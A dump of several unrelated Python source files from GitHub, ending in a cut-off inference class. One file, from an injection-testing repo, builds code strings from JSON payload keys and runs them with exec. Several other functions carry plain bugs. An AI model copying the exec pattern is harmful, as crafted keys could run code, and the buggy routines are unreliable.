+{"seq_id":"39971307585","text":"import plotly.express as px\nimport dash_bootstrap_components as dbc\nimport dash_html_components as html\nimport dash_core_components as dcc\nfrom dash.dependencies import Output,Input\nfrom plotly.subplots import make_subplots\nfrom app import app\nimport pandas as pd\n\nCo2Emis=pd.read_csv(\"C:\\\\Users\\\\yousuf\\\\Desktop\\\\pythonProject\\\\datasets\\\\Co2Emis.csv\",index_col=\"date\")\n\nprint(Co2Emis)\n\n\n\nsumfr1=round(Co2Emis.loc[:,\"Co21EmisFR\"].sum(),3)\n\nsumfr2=round(Co2Emis.loc[:,\"Co22EmisFR\"].sum(),3)\n\nsumuk1=round(Co2Emis.loc[:,\"Co21EmisUK\"].sum(),3)\n\nsumuk2=round(Co2Emis.loc[:,\"Co22EmisUK\"].sum(),3)\n\n\nlayout=dbc.Card([\n    dbc.CardBody([\n    html.H1(\"Comparision\",className=\"card-title text-center text-white border border-light\"),\n        dbc.Row([\n            dbc.Col([\n    dcc.Dropdown(id=\"countries-dpdn2\",options=[\n                                              {'label':\"United Kingdom\",\"value\":\"UK\"},\n                                              {'label':\"France\",\"value\":\"FR\"},\n                                              ],value=\"UK\",clearable=False,className=\"mt-3 w-25\"\n                 ),\n        dcc.RadioItems(\n            id=\"graph-type\",\n            options=[\n                {'label': 'Side By Side Comparision', 'value': 'side'},\n                {'label': 'Single Graph Comparision', 'value': 'single'},\n            ],\n            value='single',className=\"mt-3 p-2 text-white\",\n            labelStyle={'display': 'inline-block'}\n        ),\n                ]),\n            dbc.Row([\n                dbc.Col([\n                    dbc.Card(\n                        dbc.ListGroup(\n                            [\n                                dbc.ListGroupItem(\"Sum of Co21EmisFR: \"+str(sumfr1),className=\"text-primary\"),\n                                dbc.ListGroupItem(\"Sum of Co22EmisFR: \"+str(sumfr2),className=\"text-primary\"),\n                                dbc.ListGroupItem(\"Sum of Co21EmisUK: \"+str(sumuk1),className=\"text-danger\"),\n                                dbc.ListGroupItem(\"Sum of Co22EmisUK: \"+str(sumuk2),className=\"text-danger\"),\n                            ],flush=True,),style={\"width\": \"18rem\"},className=\"mr-3\"\n                    )\n                ])\n            ])\n            ]),\n        dbc.Card([\n        dbc.CardBody([\n                dbc.CardHeader(\"Line Graph\",className=\"w-25 text-white border border-light\"),\n                html.P(id=\"dates-datee2\",children=[],className=\"text-white\"),\n                html.P(id=\"count-dp2\",children=[],className=\"text-white\"),\n                dcc.Graph(id=\"line-graph2\",figure={},className=\"mt-3\"),\n                html.Center(\n                    dcc.RangeSlider(\n                    id=\"my-slider2\",\n                    min=0,\n                    max=44581,\n                    allowCross=False,\n                    step=1,\n                    value=[0,44581],\n                    className=\"mt-3 w-50\"\n                )\n                )\n            ])\n    ],className=\"mt-4 bg-secondary border border-light\")\n])\n],className=\"bg-secondary\")\n\n\n@app.callback(Output(\"line-graph2\",\"figure\"),Output(\"dates-datee2\",\"children\"),Output(\"count-dp2\",\"children\"),Input(\"countries-dpdn2\",\"value\"),Input(\"my-slider2\",\"value\"),Input(\"graph-type\",\"value\"))\ndef update_df(dpdn_option_c,value1,value2):\n    dff=Co2Emis\n    print(dpdn_option_c)\n\n    if dpdn_option_c==\"UK\" and value2==\"single\":\n        filtered_df = dff.iloc[value1[0]:value1[1] + 1, :]\n        fig=px.line(data_frame=filtered_df,x=filtered_df.index,y=[\"Co21EmisUK\",\"Co22EmisUK\"])\n        fig.update_layout(title_text=\"United Kingdom\",title_font_size=30,title_x=0.5,title_font_color=\"red\")\n        fig.update_yaxes(title_font_color=\"red\")\n        fig.update_xaxes(title_text=\"\")\n\n        text1=\"Start Date: \"+str(filtered_df.index[0])+\" \"+\"End Date: \"+str(filtered_df.index[-1])\n        text2=\"Data Points in Current Graph\"+\" \"+str(len(filtered_df.index))\n\n        return fig,text1,text2\n\n    elif dpdn_option_c==\"UK\" and value2==\"side\":\n        filtered_df = dff.iloc[value1[0]:value1[1] + 1, :]\n        fig1 = px.line(filtered_df)\n        fig2 = px.line(filtered_df)\n        trace1 = fig1['data'][1]\n        trace2 = fig2['data'][3]\n        fig = make_subplots(rows=1, cols=2, shared_xaxes=False)\n        fig.add_trace(trace1, row=1, col=1)\n        fig.add_trace(trace2, row=1, col=2)\n        fig.update_layout(title_text=\"United Kingdom\",title_font_size=30,title_x=0.5,title_font_color=\"red\")\n        fig.update_yaxes(title_font_color=\"red\")\n        fig.update_xaxes(title_text=\"\")\n\n        text1=\"Start Date: \"+str(filtered_df.index[0])+\" \"+\"End Date: \"+str(filtered_df.index[-1])\n        text2=\"Data Points in Current Graph\"+\" \"+str(len(filtered_df.index))\n\n        return fig,text1,text2\n\n    elif dpdn_option_c==\"FR\" and value2==\"single\":\n        filtered_df = dff.iloc[value1[0]:value1[1] + 1, :]\n        fig=px.line(data_frame=filtered_df,x=filtered_df.index,y=[\"Co21EmisFR\",\"Co22EmisFR\"])\n        fig.update_layout(title_text=\"France\",title_font_size=30,title_x=0.5,title_font_color=\"blue\")\n        fig.update_yaxes(title_font_color=\"blue\")\n        fig.update_xaxes(title_text=\"\")\n\n        text1=\"Start Date: \"+str(filtered_df.index[0])+\" \"+\"End Date: \"+str(filtered_df.index[-1])\n        text2=\"Data Points in Current Graph\"+\" \"+str(len(filtered_df.index))\n\n        return fig,text1,text2\n\n    elif dpdn_option_c==\"FR\" and value2==\"side\":\n        filtered_df = dff.iloc[value1[0]:value1[1] + 1, :]\n        fig1 = px.line(filtered_df)\n        fig2 = px.line(filtered_df)\n        trace1 = fig1['data'][0]\n        trace2 = fig2['data'][2]\n        fig = make_subplots(rows=1, cols=2, shared_xaxes=False)\n        fig.add_trace(trace1, row=1, col=1)\n        fig.add_trace(trace2, row=1, col=2)\n        fig.update_layout(title_text=\"France\",title_font_size=30,title_x=0.5,title_font_color=\"blue\")\n        fig.update_yaxes(title_font_color=\"blue\")\n        fig.update_xaxes(title_text=\"\")\n\n        text1=\"Start Date: \"+str(filtered_df.index[0])+\" \"+\"End Date: \"+str(filtered_df.index[-1])\n        text2=\"Data Points in Current Graph\"+\" \"+str(len(filtered_df.index))\n\n        return fig,text1,text2\n\n\n\n\n\n","repo_name":"yousuf9292/app1","sub_path":"apps/step4.py","file_name":"step4.py","file_ext":"py","file_size_in_byte":6140,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"7009405952","text":"import json\nimport os\nfrom pprint import pprint\n\n\nfilepath = 'Alco.json'\n\n\ndef load_data(filepath):\n    if not os.path.exists(filepath):\n        return None\n    with open (filepath, 'r', encoding='utf-8') as file_handler:\n        return json.load(file_handler)\n\n\ndef pretty_print_json(filepath):\n        return pprint(data)\n\n\nif __name__ == '__main__':\n    data = load_data(input('Путь к файлу: '))\n    pretty_print_json(data)\n","repo_name":"AlexOdlin/4_json","sub_path":"pprint_json.py","file_name":"pprint_json.py","file_ext":"py","file_size_in_byte":437,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"17007081644","text":"from other import Other\n# ([from . import other] or [import other]):\n# Gives an error (Other() is not defined)\n# Importing your module:\n# from module import class\n# Module: the module your class is in\n# Class: the class you want to use inside that module\n\n# class Other(object):\n    \n#     def implicit(self):\n#         print(\"OTHER implicit()\")\n\n#     def override(self):\n#         print(\"OTHER override()\")\n\n#     def altered(self):\n#         print(\"OTHER altered()\")\n\nclass Child(object):\n    \n    def __init__(self):\n        self.other = Other()\n\n    def implicit(self):\n        self.other.implicit()\n\n    def override(self):\n        print(\"CHILD overrid()\")\n\n    def altered(self):\n        print(\"CHILD, BEFORE...\")\n        self.other.altered()\n        print(\"CHILD, AFTER...\")\n\nother = Other()\nson = Child()\n\nother.implicit()\nson.implicit()\n\nother.override()\nson.override()\n\nother.altered()\nson.altered()","repo_name":"omaralhariri/lpthw","sub_path":"ex44e.py","file_name":"ex44e.py","file_ext":"py","file_size_in_byte":910,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"5301861286","text":"import os\nfrom distutils import spawn\n\nclass Terminal:\n    def __init__(self):\n        self.ignored_executables = []\n        xterm_executable = spawn.find_executable(\"xterm\")\n        #if not xterm_executable:\n        #    exit(1)\n\n        self.fallback_terminal = f\"{xterm_executable} -e\"\n        self.default_terminal = self.fallback_terminal\n\n    def get_default_terminal(self, ignore=[]):\n        if not ignore:\n            ignore = self.ignored_executables\n\n        terminal_executables = [\n            {\"name\": \"gnome-terminal\", \"args\": \"\"},\n            {\"name\": \"konsole\", \"args\": \"\"},\n            {\"name\": \"mate-terminal\", \"args\": \"--execute\"},\n            {\"name\": \"xfce4-terminal\", \"args\": \"--execute\"}\n        ]\n\n        for executable in terminal_executables:\n            if executable[\"name\"] in ignore:\n                continue\n\n            executable_path = spawn.find_executable(executable[\"name\"])\n            if executable_path:\n                print(\"Trouvé\", executable)\n                self.default_terminal = f\"{executable_path} {executable['args']}\"\n                break\n\n            else:\n                print(\"Pas trouvé\", executable)\n\n        return self.default_terminal\n\n\nif __name__ == \"__main__\":\n    terminal = Terminal()\n    terminal.get_default_terminal(ignore=[\"mate-terminal\"])\n\n    print(terminal.default_terminal)\n","repo_name":"seigneurfuo/flatpak-gui-python","sub_path":"src/terminal.py","file_name":"terminal.py","file_ext":"py","file_size_in_byte":1354,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"2860185859","text":"import json\nfrom utils.debug_module import Log\n\nINJECTION_TAG = 'INJECTION_TAG'\n\ndef content_type_parse_handler(content_type, payload):\n    if content_type == 'application/json':\n        Log.debug('The content type is json.')\n        return JsonParser(payload)\n    Log.error('Can\\'t find handler.')\n    return None\n        \nclass JsonParser(object):\n    \"\"\"docstring for JsonParser\"\"\"\n    def __init__(self, payloads):\n        self.payloads = payloads\n        self.inject_key_list = []\n\n    def get_inject_place(self):\n        if INJECTION_TAG in str(self.payloads):\n            return self._find_inject_tag_key(self.payloads)\n        else:\n            return self.parse_injection_key(self.payloads)\n\n    def _find_inject_tag_key(self, payload, parent_key=None):\n        if isinstance(payload, dict):\n            for key, value in payload.items():\n                _parent_key = parent_key[:] if isinstance(parent_key, list) else []\n                _parent_key.append(key)\n                if isinstance(value, (dict, list)):\n                    self._find_inject_tag_key(value, parent_key=_parent_key)\n                elif INJECTION_TAG in str(value):\n                    self.inject_key_list.append(_parent_key)\n        if isinstance(payload, list):\n            for index, value in enumerate(payload):\n                _parent_key = parent_key[:] if isinstance(parent_key, list) else []\n                _parent_key.append(index)\n                if isinstance(value, (dict, list)):\n                    self._find_inject_tag_key(value, parent_key=_parent_key)\n                elif INJECTION_TAG in str(value):\n                    self.inject_key_list.append(_parent_key)\n        return self.inject_key_list\n\n    def replace_target_key(self, parent_key, inject_str):\n        temp_payload = json.loads(json.dumps(self.payloads))\n        key_str = 'temp_payload'\n        for key in parent_key:\n            if isinstance(key, (str, unicode)):\n                key_str += '[\"{key}\"]'.format(key=key)\n            elif isinstance(key, int):\n                key_str += '[{key}]'.format(key=key)\n        exec(key_str + ' = inject_str')\n        return temp_payload\n\n    def parse_injection_key(self, payload, parent_key=None):\n        tmp_payload = json.loads(json.dumps(payload))\n        if isinstance(tmp_payload, dict):\n            for key, value in tmp_payload.items():\n                self.__recursive_parse(key, value, parent_key)\n        elif isinstance(tmp_payload, list):\n            for index, value in enumerate(tmp_payload):\n                self.__recursive_parse(index, value, parent_key)\n        return self.inject_key_list\n\n    def __recursive_parse(self, key, value, parent_key):\n        _parent_key = parent_key[:] if isinstance(parent_key, list) else []\n        _parent_key.append(key)\n\n        if isinstance(value, (dict, list)):\n            self.parse_injection_key(value, parent_key=_parent_key)\n\n        self.inject_key_list.append(_parent_key)\n","repo_name":"EveYen/Injection_Test","sub_path":"injection/requests/payload.py","file_name":"payload.py","file_ext":"py","file_size_in_byte":2953,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"22"}
+{"seq_id":"14434640021","text":"'''\nIncludes some metrics related to optical flow calculations.\nAEE (EPE) : average endpoint error\n\nAEE calculations can be masked with events, if desired.\n'''\nimport os\nimport argparse\nimport numpy as np\nimport flowpy\nimport cv2\n\nparser = argparse.ArgumentParser()\nparser.add_argument('--gtflowpath', type=str, help='Path of gt flow')\nparser.add_argument('--predflowpath', type=str, help='Path of pred flow')\nparser.add_argument('--ratio', type=float, help='Resize ratio for ground truth flow.')\nparser.add_argument('--crop', type=bool, default=True, help='True if flow files in gtflowpath need to be cropped in 1:1 (from center).')\nparser.add_argument('--maskenabled', type=str, default='True', help='Mask enable flag.')\nparser.add_argument('--maskpath', type=str, default='not a meaningful path', help='Path of event masks.')\nargs = parser.parse_args()\n\ndef avg_endpoint_error(gt_flow, pred_flow):\n    EE = np.linalg.norm(gt_flow - pred_flow, axis=-1)\n    AEE = np.mean(EE)\n    return AEE\n\ndef avg_endpoint_error_masked(gt_flow, pred_flow, mask):\n    EE = np.linalg.norm(gt_flow - pred_flow, axis=-1)\n    EE = np.logical_and(EE, mask)\n    AEE = np.mean(EE)\n    return AEE\n\n#Taken from Spike-FlowNet: https://github.com/chan8972/Spike-FlowNet\ndef flow_viz_np(flow_x, flow_y):\n    flows = np.stack((flow_x, flow_y), axis=2)\n    mag = np.linalg.norm(flows, axis=2)\n\n    ang = np.arctan2(flow_y, flow_x)\n    ang += np.pi #rad\n    ang *= 180. / np.pi / 2. #deg\n\n    ang = ang.astype(np.uint8)\n    hsv = np.zeros([flow_x.shape[0], flow_x.shape[1], 3], dtype=np.uint8)\n    hsv[:, :, 0] = ang\n    hsv[:, :, 1] = 255\n    hsv[:, :, 2] = cv2.normalize(mag, None, 0, 255, cv2.NORM_MINMAX)\n\n    flow_rgb = cv2.cvtColor(hsv, cv2.COLOR_HSV2BGR)\n    #flow_rgb = cv2.bitwise_not(flow_rgb)\n    return flow_rgb\n\n#Taken from Spike-FlowNet: https://github.com/chan8972/Spike-FlowNet\ndef draw_color_wheel_np(width, height):\n    color_wheel_x = np.linspace(-width / 2.,width / 2.,width)\n    color_wheel_y = np.linspace(-height / 2.,height / 2.,height)\n    color_wheel_X, color_wheel_Y = np.meshgrid(color_wheel_x, color_wheel_y)\n    color_wheel_rgb = flow_viz_np(color_wheel_X, color_wheel_Y)\n    return color_wheel_rgb\n\ngtflow_path_list = sorted(next(os.walk(args.gtflowpath))[2]) #Does not include subfolders. All items in the directory must be flo files.\npredflow_path_list = sorted(next(os.walk(args.predflowpath))[2])\nmask_path_list = sorted(next(os.walk(args.maskpath))[2])\ntotal_number_flow = len(gtflow_path_list)\n\ny = flowpy.flow_read(args.gtflowpath + gtflow_path_list[0]).shape[0]\nx = flowpy.flow_read(args.gtflowpath + gtflow_path_list[0]).shape[1]\n\nAEE_sum = 0\n\ntry:\n    os.makedirs(args.predflowpath + 'notmasked')\n    os.makedirs(args.predflowpath + 'masked')\n    os.makedirs(args.predflowpath + 'gt')\nexcept OSError:\n    pass\n\nfor i in range(0,total_number_flow-1):\n    #Process ground truth flow (resize, cut from center)\n    gt_flow = flowpy.flow_read(args.gtflowpath + gtflow_path_list[i])\n\n    f_y,f_x,_ = gt_flow.shape\n    ratio = args.ratio\n    crop_size = int(f_y/ratio) if y<=x else int(f_x/ratio)\n\n    if args.crop:\n        #First resize\n        (x,y) = (int(f_x/ratio), int(f_y/ratio))\n        u = cv2.resize(gt_flow[...,0],(x,y))\n        v = cv2.resize(gt_flow[...,1],(x,y))\n        #Then crop 1:1 image flow from the middle\n        offset = int((x-crop_size)/2) if x>crop_size else int((y-crop_size)/2)\n        u = u[..., offset : -offset]\n        v = v[..., offset : -offset]\n\n        #Just in case there is still few pixels of size mismatch, resize\n        u = cv2.resize(u, (crop_size,crop_size))\n        v = cv2.resize(v, (crop_size,crop_size))\n\n        gt_flow_resized = np.zeros((u.shape[0],u.shape[1],2))\n        gt_flow_resized[...,0] = u\n        gt_flow_resized[...,1] = v\n    else:\n        u = cv2.resize(gt_flow[...,0],(x,y))\n        v = cv2.resize(gt_flow[...,1],(x,y))\n\n        gt_flow_resized = np.zeros((u.shape[0],u.shape[1],2))\n        gt_flow_resized[...,0] = u\n        gt_flow_resized[...,1] = v\n\n    pred_flow = flowpy.flow_read(args.predflowpath + predflow_path_list[i])\n\n    #If predicted flow and processed GT flow dimensions do not match, interpolate predicted flow to have the same dimension as GT.\n    if(u.shape[0] != pred_flow.shape[0] or u.shape[1] != pred_flow.shape[1]):\n        pred_flow_resized = np.zeros((u.shape[0],u.shape[1],2))\n        pred_flow_resized[...,0] = cv2.resize(pred_flow[...,0], u.shape)\n        pred_flow_resized[...,1] = cv2.resize(pred_flow[...,1], v.shape)\n    else:\n        pred_flow_resized = pred_flow\n\n    #If an event mask path is given, mask endpoint error inputs\n    if args.maskenabled!='True':\n        AEE_sum += avg_endpoint_error(gt_flow_resized, pred_flow_resized)\n    else:\n        mask = cv2.imread(args.maskpath + mask_path_list[i], cv2.IMREAD_GRAYSCALE)\n        #If mask and resized predicted flow dimensions do not match, resize mask\n        if (mask.shape[0] != pred_flow_resized.shape[0] or mask.shape[1] != pred_flow_resized.shape[1]):\n            mask = cv2.resize(mask, pred_flow_resized[...,0].shape)\n        AEE_sum += avg_endpoint_error_masked(gt_flow_resized, pred_flow_resized, mask)\n    \n    #Writing images of flows\n    cv2.imwrite(args.predflowpath + 'notmasked/' + 'densepredflow%03d.png'%i, flow_viz_np(pred_flow_resized[...,0],pred_flow_resized[...,1]))\n    \n    if args.maskenabled=='True':\n        mask3dim = cv2.cvtColor(mask, cv2.COLOR_GRAY2BGR)\n        cv2.imwrite(args.predflowpath + 'masked/' + 'predflow%03d.png'%i, cv2.bitwise_and(flow_viz_np(pred_flow_resized[...,0],pred_flow_resized[...,1]), mask3dim))\n    \n    cv2.imwrite(args.predflowpath + 'gt/' + 'gt%03d.png'%i, flow_viz_np(gt_flow_resized[...,0],gt_flow_resized[...,1]))\n\nif args.maskenabled != 'True':  print('AEE is NOT masked.')\nelse:   print('AEE is masked.') \nprint('AEE: %f' %(AEE_sum/total_number_flow))","repo_name":"three-bee/eventUtils","sub_path":"metrics.py","file_name":"metrics.py","file_ext":"py","file_size_in_byte":5875,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"41364178822","text":"import pandas as pd\nimport numpy as np\nimport re\nfrom math import ceil\nfrom common import getRecords, LAB_ID, LAB_CODE_FILE, LAT, LON, AGE, STD_DEV, LOC_ACCURACY, SOURCE, PROVINCE, FUZZ_FACTOR, flushMsg, setMinus, D13C, embalm\n\nSHAPE = (0,0)\n\n\n# Deal with entries bearing duplicate lab codes.\ndef handleDuplicates(records, graveyard=pd.DataFrame()):\n    global SHAPE\n    SHAPE = records.shape\n    print('Handling duplicate entries')\n    # Reset index so we can index by the index\n    # index index index\n    records = records.reset_index()\n\n    # Now, keep an arbitrary duplicate if both the date, precise coordinates,\n    # and source datasets match\n    noDups  = records.drop_duplicates(subset=[LAB_ID, AGE, LAT, LON, SOURCE])\n    # Get the duplicate entries and add to the graveyard\n    funeral = setMinus(records, noDups)\n    funeral['removal_reason'] = 'True duplicate'\n    graveyard = graveyard.append(embalm(funeral))\n    # Set records to have no duplicates\n    records = noDups\n\n    # Concatenate source datasets for true duplicates. Requires some trickery.\n    trueDups = records.duplicated(subset=[LAB_ID, AGE, LAT, LON], keep=False)\n    concattedSourceDups = records[trueDups].groupby(LAB_ID).agg(\n            lambda x: '; '.join(x) if x.name == SOURCE else x.iloc[0]\n    )\n    records = records.drop_duplicates(subset=[LAB_ID, AGE, LAT, LON])\n    records = records.append(concattedSourceDups.reset_index())\n\n    # Fetch the duplicates found in both UWyomingNSF2019 and CARD\n    dups = records.duplicated(subset=[LAB_ID],keep=False)\n    wyAndCard = (records[dups])[records[dups][SOURCE].apply(lambda x: 'CARD' in str(x) or 'UWyomingNSF2019' in str(x))]\n    # Now, of the duplicated records in both UWyoming and Card, get JUST the Card ones, and remove them.\n    justCard  = wyAndCard[wyAndCard[SOURCE].apply(lambda x: 'CARD' in str(x))]\n    records   = setMinus(records, justCard)\n\n    \n\n    # It's time to mess with combining records based on coordinate data. Before\n    # we do that, we should mark all of the entries with bad ages.\n    # If we're looking at a date and dates don't match, we have a bad entry.\n    #\n    dups = records.duplicated(subset=[LAB_ID],keep=False)\n    badAges = records[dups].groupby(LAB_ID).agg( \n            lambda x: '{} (MISMATCHED)'.format(x) if x.name == AGE and mismatchingEntries(list(x),fuzzFactor=1) else x.iloc[0]\n    )\n    badAges = badAges[badAges[AGE].apply(lambda x: 'MISMATCHED' in str(x))]\n    badAgeIDs = list(badAges.index)\n    records.set_index(LAB_ID)\n    for id in badAgeIDs:\n        if id in records.index:\n            records.at[id, AGE] = '{} (MISMATCHED)'.format(records.at[id,AGE])\n    records.reset_index()\n        \n \n    # Now, for duplicate records with different locAccuracy, pick highest locaccuracy\n    dups = records.duplicated(subset=[LAB_ID],keep=False)\n    dupsWithSameLA = records.duplicated(subset=[LAB_ID,LOC_ACCURACY],keep=False)\n    dupsWithDifferentLA = setMinus(records[dups], records[dupsWithSameLA])\n    highestLA = dupsWithDifferentLA.sort_values(by=[LOC_ACCURACY], ascending=False)\\\n            .drop_duplicates(subset=[LAB_ID])\n    records = setMinus(records, dupsWithDifferentLA)\n    records.append(highestLA)\n\n    # Sort the records by LocAccuracy so that higher LocAccuracy is chosen first\n    records = records.sort_values(by=[LOC_ACCURACY], ascending=False)\n\n    # If the lab number and the dates match, prioritize entries with lat/long info,\n    # but delete entries that have existing mismatching lat/long info\n    combinedDups = records.groupby(LAB_ID).agg(lambda x: combineDups(x))\n    funeral = setMinus(records.set_index(LAB_ID), combinedDups)\n    funeral['removal_reason'] = 'Merged with partial duplicates into single record'\n    graveyard = graveyard.append(embalm(funeral))\n    records = combinedDups\n\n    # Sort records back for algorithms that rely on LAB_ID order\n    records = records.sort_values(by=[LAB_ID])\n\n    isMismatched = lambda x: 'MISMATCHED' in str(x)\n    mismatchedCoords = records[records[LAT].apply(isMismatched) | records[LON].apply(isMismatched)]\n    mismatchedCoords['removal_reason'] = 'Duplicate record with mismatching coordinates'\n    graveyard = graveyard.append(embalm(mismatchedCoords))\n\n    mismatchedAge = records[records[AGE].apply(isMismatched)]\n    mismatchedAge['removal_reason'] = 'Duplicate record with mismatching age'\n    graveyard = graveyard.append(embalm(mismatchedAge))\n\n    # Now, convert all those bad records into bad entries\n    makeBad =  (lambda x : 'BADENTRY' if 'MISMATCHED' in str(x) else x)\n    records[LAT] = records[LAT].apply(makeBad)\n    records[LON] = records[LON].apply(makeBad)\n    records[AGE] = records[AGE].apply(makeBad)\n\n    \n    # Filter out bad entries\n    records = records[\\\n          (records[LAT] != 'BADENTRY')\\\n        & (records[LON] != 'BADENTRY')\\\n        & (records[AGE] != 'BADENTRY')]\n\n    return records, graveyard\n\n\n# Input:  a list of numbers\n# Output: A boolean indicating:\n#           False - Every number in the list is within 0.5 of each other\n#           True  - The list contains numbers with a larger difference than 0.5\ndef mismatchingEntries(nums, fuzzFactor=FUZZ_FACTOR):\n    # Calculate all magnitude differenes\n    for i in nums:\n        for j in nums:\n            # If the magnitude of any difference is larger than the allowed\n            # margins, the data is mismatched\n            if np.abs(i-j) > fuzzFactor:\n                return True\n    # No mismatched data => matching data\n    return False\n\n\n# Combiner function to handle duplicates\ndef combineDups(x):\n    printProgress()\n    # If there's nothing to combine, just pick the first thing\n    if len(x) == 1:\n        return x.iloc[0]\n    # Now, we're dealing with multiple things\n    # If we're looking at d13C\n    if x.name == D13C:\n        # Cast to floats for ease\n        floatCast = lambda d : float(re.sub('[^-\\d.]+', '', d))\n        floats = [floatCast(x.iloc[i]) for i in range(len(x))]\n        # Get values between -1 and -30\n        goodVals = [n for n in floats if -30 <= n and n <= -1]\n        # Leave blank if theres more than one value between -1 and -30\n        if len(goodVals) > 1:\n            return np.nan\n        if goodVals != []:\n            return goodVals[0]\n        # Otherwise, pick the first non-zero value\n        nonZeroes = [n for n in floats if n!=0]\n        # If there are nonzero values\n        if nonZeroes != []:\n            # Pick it\n            return nonZeroes[0]\n        # Otherwise, we only have zero\n        else:\n            return 0\n    # If we're not looking at coordinates or a date, just pick the first thing\n    if x.name != LAT and x.name != LAT and x.name != AGE:\n        return x.iloc[0]\n    # Otherwise, we have coordinates.\n    # Get a list of non-nan entries\n    nonNans = getNonNans(x) \n    # If the list is empty, return nan\n    if len(nonNans) == 0:\n        return np.nan\n    # If the list contains mismatching entries, return BADENTRY\n    if mismatchingEntries(nonNans):\n        return '{} (MISMATCHED)'.format(x)\n    # Otherwise, get the first coordinate in the list of nonNans\n    firstCoord = nonNans[0]\n    # If that first coordinate is a 0, return nan\n    if firstCoord == 0:\n        return np.nan\n    # Otherwise, return the first coordinate\n    return firstCoord\n\n# A function for printing the progress of duplicate handling, since it \n# is the longest process of the scrubber\ndupsProcessed = 0\ndef printProgress():\n    global dupsProcessed\n    dupsProcessed += 1\n    # Every 100 fields\n    if dupsProcessed % 1000 == 0:\n        # Total records processed is the number of entries divided by columns\n        recordsProcessed = dupsProcessed/SHAPE[1]\n        percentComplete  = ceil(recordsProcessed/SHAPE[0]*(400/3))\n        flushMsg('Handling duplicate entries ({}% complete)'\\\n                .format(percentComplete))\n\n# Input:   x - pandas series, potentially containing different types.\n# Output:  A list of those entries that are both valid coordinates\n#          and not NaN \ndef getNonNans(x):\n    nonNans = []\n    for item in x:\n        try:\n            num = float(item)\n            if not np.isnan(num):\n                nonNans.append(num)\n        except:\n            continue\n\n    return nonNans\n\n\nif __name__ == '__main__':\n    import sys\n    if len(sys.argv) != 3:\n        print('Usage: python removeDuplicates.py input_file.csv out_file.csv')\n        exit(1)\n    inFile = sys.argv[1]\n    outFileName = sys.argv[2]\n    records = getRecords(inFile)\n    records, _ = handleDuplicates(records)\n    with open(outFileName, 'w', encoding='utf-8') as f:\n        f.write(records.to_csv())\n        f.close()\n        print('Written to {}'.format(outFileName))\n    \n","repo_name":"people3k/p3k14c-data-scrubbing","sub_path":"removeDuplicates.py","file_name":"removeDuplicates.py","file_ext":"py","file_size_in_byte":8688,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"22"}
+{"seq_id":"3183359940","text":"import random\r\nfrom random import shuffle\r\nimport time\r\nimport math\r\ndef produce_neighbours(v):\r\n    nbrs=[]\r\n    for i in range(0,len(v)):\r\n        u=v[:]\r\n        u[i]=1-v[i]\r\n        nbrs.append(u)\r\n    return nbrs\r\ndef vc_check(G,vc):\r\n    for i in range(0,len(G)):\r\n        for j in range(0,len(G)):\r\n            if((G[i][j]==1) and ((vc[i]==0) and (vc[j]==0))):\r\n                return 0\r\n    return 1\r\n                    \r\n            \r\n    \r\n            \r\ndef compare_nbrs(G,vc):\r\n    vcn=vc[:]\r\n    nbrs=produce_neighbours(vc)\r\n    random.seed(time.time())\r\n    shuffle(nbrs)\r\n    for v in nbrs:\r\n        if((sum(v)<sum(vcn)) and (vc_check(G,v)==1)):\r\n            vcn=v[:]\r\n    return vcn\r\n\r\ndef compare_nbrs_sa(G,vc,t):\r\n    vcn=vc[:]\r\n    nbrs=produce_neighbours(vc)\r\n    random.seed(time.time())\r\n    shuffle(nbrs)\r\n    for v in nbrs:\r\n        if((sum(v)<sum(vcn)) and (vc_check(G,v)==1)):\r\n            vcn=v[:]\r\n        elif((vc_check(G,v)==1) and t>=1):\r\n            random.seed(time.time())\r\n            if(random.random()<math.pow(math.e,((sum(vcn)-sum(v))/t))):\r\n               vcn=v[:]\r\n    return vc\r\ndef vc_3(G):\r\n    T=50\r\n    vc=[]\r\n    for i in range(0,len(G)):\r\n        vc.append(1)\r\n    vcn=[]\r\n    flag=1\r\n    while(flag>0):\r\n        vcn=compare_nbrs_sa(G,vc,T)\r\n        if(vcn==vc):\r\n            flag=0\r\n        else:\r\n            vc=vcn[:]\r\n        T=T-1\r\n    return vc\r\n               \r\n            \r\n\r\n","repo_name":"samarth261/fypfin","sub_path":"fin/kernels/vc_3.py","file_name":"vc_3.py","file_ext":"py","file_size_in_byte":1433,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"69798221177","text":"#!/usr/bin/env python  \n# -*- coding:utf-8 _*-\n\"\"\" \n@file: nnp3xx_infer.py \n@time: 2022/12/21\n@Author  : xingwg\n@software: PyCharm \n\"\"\"\nimport os\nimport time\nimport shutil\nfrom collections import OrderedDict\nfrom abc import ABC\nfrom utils import logger\nfrom utils.compare import compare_dump_out, compare_dump_out2\nfrom .base_infer import BaseInfer\nfrom .nnp3xx_tyexec import Nnp3xxTyExec\n\n\nclass Nnp3xxSdkInfer(BaseInfer, ABC):\n    def __init__(\n            self,\n            net_cfg_file=\"/DEngine/tyhcp/net.cfg\",\n            sdk_cfg_file=\"/DEngine/tyhcp/config/sdk.cfg\",\n            enable_dump=0,\n            enable_aipp=False,\n    ):\n        super(Nnp3xxSdkInfer, self).__init__()\n\n        self.sdk_cfg_file = sdk_cfg_file\n        self.enable_dump = enable_dump\n        self.enable_aipp = enable_aipp\n\n        self.input_enable_aipps = list()\n        self.input_pixel_formats = list()\n\n        self.dump_root_path = \"\"\n        self.result_dir = \"\"\n\n        if not os.path.exists(net_cfg_file):\n            logger.error(\"Not found net_cfg_file -> {}\".format(net_cfg_file))\n            exit(-1)\n\n        self.ip = \"127.0.0.1\"\n        self.port = 9090\n        with open(net_cfg_file, \"r\") as f:\n            net_cfg = f.read().strip()\n            self.ip = net_cfg.split(\":\")[0]\n\n        self.backend = \"chip\"\n        if self.ip == \"127.0.0.1\":   # TODO 非127.0.0.1的地址也可能是ISS服务\n            self.backend = 